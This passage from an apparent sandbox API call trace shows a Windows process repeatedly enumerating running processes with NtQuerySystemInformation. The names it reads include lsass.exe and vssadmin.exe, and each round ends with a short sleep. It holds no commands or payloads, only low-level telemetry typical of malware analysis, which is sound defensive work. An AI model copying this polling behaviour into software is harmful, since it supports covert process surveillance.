DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0175.804] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cc0f0 [0175.805] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0175.805] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0175.805] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1a18 [0175.805] RtlFreeAnsiString (AnsiString="Memory Compression") [0175.805] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0175.805] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e40 [0175.805] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0175.805] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0175.805] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0175.805] RtlFreeAnsiString (AnsiString="explorer.exe") [0175.805] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0175.805] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0175.805] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0175.805] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0175.805] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0175.805] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1ab8 [0175.805] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0175.805] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0175.805] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1ab8 [0175.805] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0175.805] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0175.805] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0175.805] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0175.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0175.806] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0175.806] RtlFreeAnsiString (AnsiString="explorer.exe") [0175.806] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0175.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0175.806] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0175.806] RtlFreeAnsiString (AnsiString="explorer.exe") [0175.806] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0175.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0175.806] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0175.806] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0175.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0175.806] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0175.806] RtlFreeAnsiString (AnsiString="conhost.exe") [0175.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0175.806] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0175.806] RtlFreeAnsiString (AnsiString="dllhost.exe") [0175.806] Sleep (dwMilliseconds=0x64) [0176.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0176.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0176.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0176.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.828] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0176.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0176.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0176.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0176.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.829] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0176.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0176.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0176.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0176.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.830] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0176.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0176.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0176.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.831] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0176.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0176.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0176.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.832] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0176.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0176.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0176.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0176.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0176.834] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x16318) returned 0x33d60f0 [0176.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0176.834] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0176.834] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f06c0 [0176.834] RtlFreeAnsiString (AnsiString="System") [0176.834] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0176.834] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1df8 [0176.834] RtlFreeAnsiString (AnsiString="smss.exe") [0176.835] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0176.835] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0176.835] RtlFreeAnsiString (AnsiString="csrss.exe") [0176.835] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0176.835] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0176.835] RtlFreeAnsiString (AnsiString="wininit.exe") [0176.835] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0176.835] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0176.835] RtlFreeAnsiString (AnsiString="csrss.exe") [0176.835] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0176.835] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0176.835] RtlFreeAnsiString (AnsiString="winlogon.exe") [0176.835] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0176.835] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0176.835] RtlFreeAnsiString (AnsiString="services.exe") [0176.836] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0176.836] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0176.836] RtlFreeAnsiString (AnsiString="lsass.exe") [0176.836] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0176.836] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e58 [0176.836] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0176.836] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0176.836] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0176.836] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0176.836] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.836] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0176.836] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.836] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0176.836] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.836] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0176.836] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.836] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0176.836] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0176.836] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0530 [0176.836] RtlFreeAnsiString (AnsiString="dwm.exe") [0176.836] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.836] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0176.837] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.837] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0176.837] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.837] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0176.837] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.837] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0176.837] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.837] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0176.837] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.837] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0176.837] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.837] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0176.837] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.837] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0176.837] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.837] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0176.837] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.837] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0176.837] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.837] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0176.837] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.837] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0176.837] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.837] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0176.837] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.837] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0176.837] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.837] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0176.837] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.838] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0176.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0176.838] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.838] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0176.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0176.838] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.838] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0176.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0176.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0176.838] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0176.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0176.838] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.838] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0176.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0176.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0176.838] RtlFreeAnsiString (AnsiString="audiodg.exe") [0176.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0176.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1df8 [0176.838] RtlFreeAnsiString (AnsiString="sihost.exe") [0176.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0176.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0176.838] RtlFreeAnsiString (AnsiString="svchost.exe") [0176.838] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0176.838] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0176.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1a18 [0176.839] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0176.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0176.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cc050 [0176.839] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0176.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0176.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1838 [0176.839] RtlFreeAnsiString (AnsiString="Memory Compression") [0176.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0176.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1de0 [0176.839] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0176.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0176.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0176.839] RtlFreeAnsiString (AnsiString="explorer.exe") [0176.839] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0176.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0176.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0176.839] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0176.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0176.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1b18 [0176.839] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0176.839] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0176.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d17f8 [0176.839] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0176.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0176.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0176.840] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0176.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0176.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0176.840] RtlFreeAnsiString (AnsiString="explorer.exe") [0176.840] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0176.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0176.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0176.840] RtlFreeAnsiString (AnsiString="explorer.exe") [0176.840] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0176.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0176.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0176.840] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0176.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0176.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0176.840] RtlFreeAnsiString (AnsiString="conhost.exe") [0176.840] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0176.840] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0176.840] RtlFreeAnsiString (AnsiString="dllhost.exe") [0176.840] Sleep (dwMilliseconds=0x64) [0177.676] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0177.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0177.677] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0177.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 